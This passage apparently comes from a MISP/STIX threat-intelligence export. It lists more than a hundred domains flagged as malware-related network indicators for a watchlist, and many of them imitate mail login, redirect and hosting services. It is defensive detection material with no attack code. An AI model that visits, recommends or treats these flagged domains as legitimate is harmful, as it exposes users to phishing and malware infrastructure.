otherwise none + + + + + Network activity + + Network activity: ppleid.org (MISP Attribute #19018) + Malware Artifacts + Domain Watchlist + Network activity: ppleid.org (MISP Attribute #19018) + + + + + ppleid.org + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailserverdirect3994.com (MISP Attribute #18763) + Malware Artifacts + Domain Watchlist + Network activity: mailserverdirect3994.com (MISP Attribute #18763) + + + + + mailserverdirect3994.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-biz.website (MISP Attribute #19019) + Malware Artifacts + Domain Watchlist + Network activity: com-biz.website (MISP Attribute #19019) + + + + + com-biz.website + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailserver39.com (MISP Attribute #18764) + Malware Artifacts + Domain Watchlist + Network activity: mailserver39.com (MISP Attribute #18764) + + + + + mailserver39.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-com-us.com (MISP Attribute #19020) + Malware Artifacts + Domain Watchlist + Network activity: com-com-us.com (MISP Attribute #19020) + + + + + com-com-us.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: emailserver4859.com (MISP Attribute #18765) + Malware Artifacts + Domain Watchlist + Network activity: emailserver4859.com (MISP Attribute #18765) + + + + + emailserver4859.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-com.website (MISP Attribute #19021) + Malware Artifacts + Domain Watchlist + Network activity: com-com.website (MISP Attribute #19021) + + + + + com-com.website + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: linkfollowservice.com (MISP Attribute #18766) + Malware Artifacts + Domain Watchlist + Network activity: linkfollowservice.com (MISP Attribute #18766) + + + + + linkfollowservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-hl-en-us.com (MISP Attribute #19022) + Malware Artifacts + Domain Watchlist + Network activity: com-hl-en-us.com (MISP Attribute #19022) + + + + + com-hl-en-us.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: netsecuremailhosting.com (MISP Attribute #18767) + Malware Artifacts + Domain Watchlist + Network activity: netsecuremailhosting.com (MISP Attribute #18767) + + + + + netsecuremailhosting.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-mail-us.com (MISP Attribute #19023) + Malware Artifacts + Domain Watchlist + Network activity: com-mail-us.com (MISP Attribute #19023) + + + + + com-mail-us.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailserviceloginonline.com (MISP Attribute #18768) + Malware Artifacts + Domain Watchlist + Network activity: mailserviceloginonline.com (MISP Attribute #18768) + + + + + mailserviceloginonline.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-mail.net (MISP Attribute #19024) + Malware Artifacts + Domain Watchlist + Network activity: com-mail.net (MISP Attribute #19024) + + + + + com-mail.net + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailauthorizationservice.com (MISP Attribute #18769) + Malware Artifacts + Domain Watchlist + Network activity: mailauthorizationservice.com (MISP Attribute #18769) + + + + + mailauthorizationservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-us-en-us.com (MISP Attribute #19025) + Malware Artifacts + Domain Watchlist + Network activity: com-us-en-us.com (MISP Attribute #19025) + + + + + com-us-en-us.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailauthservice.com (MISP Attribute #18770) + Malware Artifacts + Domain Watchlist + Network activity: mailauthservice.com (MISP Attribute #18770) + + + + + mailauthservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webmailmanageruk.com (MISP Attribute #19026) + Malware Artifacts + Domain Watchlist + Network activity: webmailmanageruk.com (MISP Attribute #19026) + + + + + webmailmanageruk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: trackserviceonline.xyz (MISP Attribute #18771) + Malware Artifacts + Domain Watchlist + Network activity: trackserviceonline.xyz (MISP Attribute #18771) + + + + + trackserviceonline.xyz + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: websitemanagerusa.com (MISP Attribute #19027) + Malware Artifacts + Domain Watchlist + Network activity: websitemanagerusa.com (MISP Attribute #19027) + + + + + websitemanagerusa.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: affliatedomainservice.com (MISP Attribute #18772) + Malware Artifacts + Domain Watchlist + Network activity: affliatedomainservice.com (MISP Attribute #18772) + + + + + affliatedomainservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: transferserver33.com (MISP Attribute #19028) + Malware Artifacts + Domain Watchlist + Network activity: transferserver33.com (MISP Attribute #19028) + + + + + transferserver33.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: upgradetravelservice.com (MISP Attribute #18773) + Malware Artifacts + Domain Watchlist + Network activity: upgradetravelservice.com (MISP Attribute #18773) + + + + + upgradetravelservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: websiteadminuk.com (MISP Attribute #19029) + Malware Artifacts + Domain Watchlist + Network activity: websiteadminuk.com (MISP Attribute #19029) + + + + + websiteadminuk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-authmail.com (MISP Attribute #18774) + Malware Artifacts + Domain Watchlist + Network activity: com-authmail.com (MISP Attribute #18774) + + + + + com-authmail.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: budgtoffmy.com (MISP Attribute #19030) + Malware Artifacts + Domain Watchlist + Network activity: budgtoffmy.com (MISP Attribute #19030) + + + + + budgtoffmy.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webredirect.click (MISP Attribute #18775) + Malware Artifacts + Domain Watchlist + Network activity: webredirect.click (MISP Attribute #18775) + + + + + webredirect.click + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: budgtoffru.com (MISP Attribute #19031) + Malware Artifacts + Domain Watchlist + Network activity: budgtoffru.com (MISP Attribute #19031) + + + + + budgtoffru.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: javaservermy.com (MISP Attribute #18776) + Malware Artifacts + Domain Watchlist + Network activity: javaservermy.com (MISP Attribute #18776) + + + + + javaservermy.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serverforhelplux.com (MISP Attribute #19032) + Malware Artifacts + Domain Watchlist + Network activity: serverforhelplux.com (MISP Attribute #19032) + + + + + serverforhelplux.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailcommute.com (MISP Attribute #18777) + Malware Artifacts + Domain Watchlist + Network activity: mailcommute.com (MISP Attribute #18777) + + + + + mailcommute.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serverforhelpmy.com (MISP Attribute #19033) + Malware Artifacts + Domain Watchlist + Network activity: serverforhelpmy.com (MISP Attribute #19033) + + + + + serverforhelpmy.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: shortenup.com (MISP Attribute #18778) + Malware Artifacts + Domain Watchlist + Network activity: shortenup.com (MISP Attribute #18778) + + + + + shortenup.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: linuxbasicru3.com (MISP Attribute #19034) + Malware Artifacts + Domain Watchlist + Network activity: linuxbasicru3.com (MISP Attribute #19034) + + + + + linuxbasicru3.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: assuredreturnplan.com (MISP Attribute #18779) + Malware Artifacts + Domain Watchlist + Network activity: assuredreturnplan.com (MISP Attribute #18779) + + + + + assuredreturnplan.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: nigeriaoilleaks.com (MISP Attribute #19035) + Malware Artifacts + Domain Watchlist + Network activity: nigeriaoilleaks.com (MISP Attribute #19035) + + + + + nigeriaoilleaks.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: optionaldesigners.com (MISP Attribute #18780) + Malware Artifacts + Domain Watchlist + Network activity: optionaldesigners.com (MISP Attribute #18780) + + + + + optionaldesigners.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ondemand.pushthisurl.com (MISP Attribute #19036) + Malware Artifacts + Domain Watchlist + Network activity: ondemand.pushthisurl.com (MISP Attribute #19036) + + + + + ondemand.pushthisurl.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: post-manager.com (MISP Attribute #18781) + Malware Artifacts + Domain Watchlist + Network activity: post-manager.com (MISP Attribute #18781) + + + + + post-manager.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: saferedirect.pw (MISP Attribute #19037) + Malware Artifacts + Domain Watchlist + Network activity: saferedirect.pw (MISP Attribute #19037) + + + + + saferedirect.pw + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: racksackserveruk.com (MISP Attribute #18782) + Malware Artifacts + Domain Watchlist + Network activity: racksackserveruk.com (MISP Attribute #18782) + + + + + racksackserveruk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: shortserver1.com (MISP Attribute #19038) + Malware Artifacts + Domain Watchlist + Network activity: shortserver1.com (MISP Attribute #19038) + + + + + shortserver1.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: netgeoserversg.com (MISP Attribute #18783) + Malware Artifacts + Domain Watchlist + Network activity: netgeoserversg.com (MISP Attribute #18783) + + + + + netgeoserversg.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: blogserverlx.com (MISP Attribute #18784) + Malware Artifacts + Domain Watchlist + Network activity: blogserverlx.com (MISP Attribute #18784) + + + + + blogserverlx.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: dotnetserverhk.com (MISP Attribute #18785) + Malware Artifacts + Domain Watchlist + Network activity: dotnetserverhk.com (MISP Attribute #18785) + + + + + dotnetserverhk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: capitalinvestmentsllp.com (MISP Attribute #18786) + Malware Artifacts + Domain Watchlist + Network activity: capitalinvestmentsllp.com (MISP Attribute #18786) + + + + + capitalinvestmentsllp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: frwrdrurl.com (MISP Attribute #18787) + Malware Artifacts + Domain Watchlist + Network activity: frwrdrurl.com (MISP Attribute #18787) + + + + + frwrdrurl.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: offshoretoursntravels.com (MISP Attribute #18788) + Malware Artifacts + Domain Watchlist + Network activity: offshoretoursntravels.com (MISP Attribute #18788) + + + + + offshoretoursntravels.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: shipnyatchholland.com (MISP Attribute #18789) + Malware Artifacts + Domain Watchlist + Network activity: shipnyatchholland.com (MISP Attribute #18789) + + + + + shipnyatchholland.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hollandtourandtravel.com (MISP Attribute #18790) + Malware Artifacts + Domain Watchlist + Network activity: hollandtourandtravel.com (MISP Attribute #18790) + + + + + hollandtourandtravel.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: tricktravelbooking.com (MISP Attribute #18791) + Malware Artifacts + Domain Watchlist + Network activity: tricktravelbooking.com (MISP Attribute #18791) + + + + + tricktravelbooking.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hongkongshippingcompany.com (MISP Attribute #18792) + Malware Artifacts + Domain Watchlist + Network activity: hongkongshippingcompany.com (MISP Attribute #18792) + + + + + hongkongshippingcompany.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: offshorecompanyllp.com (MISP Attribute #18793) + Malware Artifacts + Domain Watchlist + Network activity: offshorecompanyllp.com (MISP Attribute #18793) + + + + + offshorecompanyllp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hardcoretechnologiesllp.com (MISP Attribute #18794) + Malware Artifacts + Domain Watchlist + Network activity: hardcoretechnologiesllp.com (MISP Attribute #18794) + + + + + hardcoretechnologiesllp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: strongwingtechnologies.com (MISP Attribute #18795) + Malware Artifacts + Domain Watchlist + Network activity: strongwingtechnologies.com (MISP Attribute #18795) + + + + + strongwingtechnologies.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: watchmanservice.com (MISP Attribute #18796) + Malware Artifacts + Domain Watchlist + Network activity: watchmanservice.com (MISP Attribute #18796) + + + + + watchmanservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hiretechservicehg.com (MISP Attribute #18797) + Malware Artifacts + Domain Watchlist + Network activity: hiretechservicehg.com (MISP Attribute #18797) + + + + + hiretechservicehg.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: internetmarketingservicehg.com (MISP Attribute #18798) + Malware Artifacts + Domain Watchlist + Network activity: internetmarketingservicehg.com (MISP Attribute #18798) + + + + + internetmarketingservicehg.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: prwebsiteuk.com (MISP Attribute #18799) + Malware Artifacts + Domain Watchlist + Network activity: prwebsiteuk.com (MISP Attribute #18799) + + + + + prwebsiteuk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: selectyourgroom.com (MISP Attribute #18800) + Malware Artifacts + Domain Watchlist + Network activity: selectyourgroom.com (MISP Attribute #18800) + + + + + selectyourgroom.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: exchangeserverformailing.com (MISP Attribute #18801) + Malware Artifacts + Domain Watchlist + Network activity: exchangeserverformailing.com (MISP Attribute #18801) + + + + + exchangeserverformailing.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: loginservicesmailsonlinesaccounts.com (MISP Attribute #18802) + Malware Artifacts + Domain Watchlist + Network activity: loginservicesmailsonlinesaccounts.com (MISP Attribute #18802) + + + + + loginservicesmailsonlinesaccounts.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: redirectserviceonline.com (MISP Attribute #18803) + Malware Artifacts + Domain Watchlist + Network activity: redirectserviceonline.com (MISP Attribute #18803) + + + + + redirectserviceonline.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: strongbolthostinghk.com (MISP Attribute #18804) + Malware Artifacts + Domain Watchlist + Network activity: strongbolthostinghk.com (MISP Attribute #18804) + + + + + strongbolthostinghk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: dotnerserversg.com (MISP Attribute #18805) + Malware Artifacts + Domain Watchlist + Network activity: dotnerserversg.com (MISP Attribute #18805) + + + + + dotnerserversg.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: netserviceru.com (MISP Attribute #18806) + Malware Artifacts + Domain Watchlist + Network activity: netserviceru.com (MISP Attribute #18806) + + + + + netserviceru.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: sapserverhg.com (MISP Attribute #18807) + Malware Artifacts + Domain Watchlist + Network activity: sapserverhg.com (MISP Attribute #18807) + + + + + sapserverhg.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: srvrgruk.com (MISP Attribute #18808) + Malware Artifacts + Domain Watchlist + Network activity: srvrgruk.com (MISP Attribute #18808) + + + + + srvrgruk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainformailinguk.com (MISP Attribute #18809) + Malware Artifacts + Domain Watchlist + Network activity: domainformailinguk.com (MISP Attribute #18809) + + + + + domainformailinguk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: exchangeserver2345.com (MISP Attribute #18810) + Malware Artifacts + Domain Watchlist + Network activity: exchangeserver2345.com (MISP Attribute #18810) + + + + + exchangeserver2345.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: tnyurlservice.com (MISP Attribute #18811) + Malware Artifacts + Domain Watchlist + Network activity: tnyurlservice.com (MISP Attribute #18811) + + + + + tnyurlservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webserver39490.com (MISP Attribute #18812) + Malware Artifacts + Domain Watchlist + Network activity: webserver39490.com (MISP Attribute #18812) + + + + + webserver39490.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webserveroginusa.com (MISP Attribute #18813) + Malware Artifacts + Domain Watchlist + Network activity: webserveroginusa.com (MISP Attribute #18813) + + + + + webserveroginusa.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webserverdomaineu.com (MISP Attribute #18814) + Malware Artifacts + Domain Watchlist + Network activity: webserverdomaineu.com (MISP Attribute #18814) + + + + + webserverdomaineu.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webserverdomainhk.com (MISP Attribute #18815) + Malware Artifacts + Domain Watchlist + Network activity: webserverdomainhk.com (MISP Attribute #18815) + + + + + webserverdomainhk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webserverdomainuk.com (MISP Attribute #18816) + Malware Artifacts + Domain Watchlist + Network activity: webserverdomainuk.com (MISP Attribute #18816) + + + + + webserverdomainuk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webserverdomainusa.com (MISP Attribute #18817) + Malware Artifacts + Domain Watchlist + Network activity: webserverdomainusa.com (MISP Attribute #18817) + + + + + webserverdomainusa.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainhostnetworkuk.com (MISP Attribute #18818) + Malware Artifacts + Domain Watchlist + Network activity: domainhostnetworkuk.com (MISP Attribute #18818) + + + + + domainhostnetworkuk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainhostnetworkusa.com (MISP Attribute #18819) + Malware Artifacts + Domain Watchlist + Network activity: domainhostnetworkusa.com (MISP Attribute #18819) + + + + + domainhostnetworkusa.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainhostworkeu.com (MISP Attribute #18820) + Malware Artifacts + Domain Watchlist + Network activity: domainhostworkeu.com (MISP Attribute #18820) + + + + + domainhostworkeu.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainlocalhostingeu.com (MISP Attribute #18821) + Malware Artifacts + Domain Watchlist + Network activity: domainlocalhostingeu.com (MISP Attribute #18821) + + + + + domainlocalhostingeu.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainlocalhostinghk.com (MISP Attribute #18822) + Malware Artifacts + Domain Watchlist + Network activity: domainlocalhostinghk.com (MISP Attribute #18822) + + + + + domainlocalhostinghk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainlocalhostinguk.com (MISP Attribute #18823) + Malware Artifacts + Domain Watchlist + Network activity: domainlocalhostinguk.com (MISP Attribute #18823) + + + + + domainlocalhostinguk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: localhostinguk.com (MISP Attribute #18824) + Malware Artifacts + Domain Watchlist + Network activity: localhostinguk.com (MISP Attribute #18824) + + + + + localhostinguk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: shorturlservice.com (MISP Attribute #18825) + Malware Artifacts + Domain Watchlist + Network activity: shorturlservice.com (MISP Attribute #18825) + + + + + shorturlservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: onlineloginserviceeu.com (MISP Attribute #18826) + Malware Artifacts + Domain Watchlist + Network activity: onlineloginserviceeu.com (MISP Attribute #18826) + + + + + onlineloginserviceeu.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: onlineloginserviceuk.com (MISP Attribute #18827) + Malware Artifacts + Domain Watchlist + Network activity: onlineloginserviceuk.com (MISP Attribute #18827) + + + + + onlineloginserviceuk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: onlineloginserviceusa.com (MISP Attribute #18828) + Malware Artifacts + Domain Watchlist + Network activity: onlineloginserviceusa.com (MISP Attribute #18828) + + + + + onlineloginserviceusa.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: basichostnetservice.com (MISP Attribute #18829) + Malware Artifacts + Domain Watchlist + Network activity: basichostnetservice.com (MISP Attribute #18829) + + + + + basichostnetservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: loginservicebasic.com (MISP Attribute #18830) + Malware Artifacts + Domain Watchlist + Network activity: loginservicebasic.com (MISP Attribute #18830) + + + + + loginservicebasic.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: basichostingrussia.com (MISP Attribute #18831) + Malware Artifacts + Domain Watchlist + Network activity: basichostingrussia.com (MISP Attribute #18831) + + + + + basichostingrussia.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: bitserverhk.com (MISP Attribute #18832) + Malware Artifacts + Domain Watchlist + Network activity: bitserverhk.com (MISP Attribute #18832) + + + + + bitserverhk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: openserverholland.com (MISP Attribute #18577) + Malware Artifacts + Domain Watchlist + Network activity: openserverholland.com (MISP Attribute #18577) + + + + + openserverholland.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: bitserverlux.com (MISP Attribute #18833) + Malware Artifacts + Domain Watchlist + Network activity: bitserverlux.com (MISP Attribute #18833) + + + + + bitserverlux.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: emailseverrus23.com (MISP Attribute #18578) + Malware Artifacts + Domain Watchlist + Network activity: emailseverrus23.com (MISP Attribute #18578) + + + + + emailseverrus23.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: selectedservicemy.com (MISP Attribute #18834) + Malware Artifacts + Domain Watchlist + Network activity: selectedservicemy.com (MISP Attribute #18834) + + + + + selectedservicemy.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: smtpserver389.com (MISP Attribute #18579) + Malware Artifacts + Domain Watchlist + Network activity: smtpserver389.com (MISP Attribute #18579) + + + + + smtpserver389.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: selectedserviceru.com (MISP Attribute #18835) + Malware Artifacts + Domain Watchlist + Network activity: selectedserviceru.com (MISP Attribute #18835) + + + + + selectedserviceru.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: pageserver77.com (MISP Attribute #18580) + Malware Artifacts + Domain Watchlist + Network activity: pageserver77.com (MISP Attribute #18580) + + + + + pageserver77.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: selectedservicesg.com (MISP Attribute #18836) + Malware Artifacts + Domain Watchlist + Network activity: selectedservicesg.com (MISP Attribute #18836) + + + + + selectedservicesg.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: euanticorruption.com (MISP Attribute #18581) + Malware Artifacts + Domain Watchlist + Network activity: euanticorruption.com (MISP Attribute #18581) + + + + + euanticorruption.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: basicmyoffshore.com (MISP Attribute #18837) + Malware Artifacts + Domain Watchlist + Network activity: basicmyoffshore.com (MISP Attribute #18837) + + + + + basicmyoffshore.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ablyazovcog.com (MISP Attribute #18582) + Malware Artifacts + Domain Watchlist + Network activity: ablyazovcog.com (MISP Attribute #18582) + + + + + ablyazovcog.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: basicruoffshore.com (MISP Attribute #18838) + Malware Artifacts + Domain Watchlist + Network activity: basicruoffshore.com (MISP Attribute #18838) + + + + + 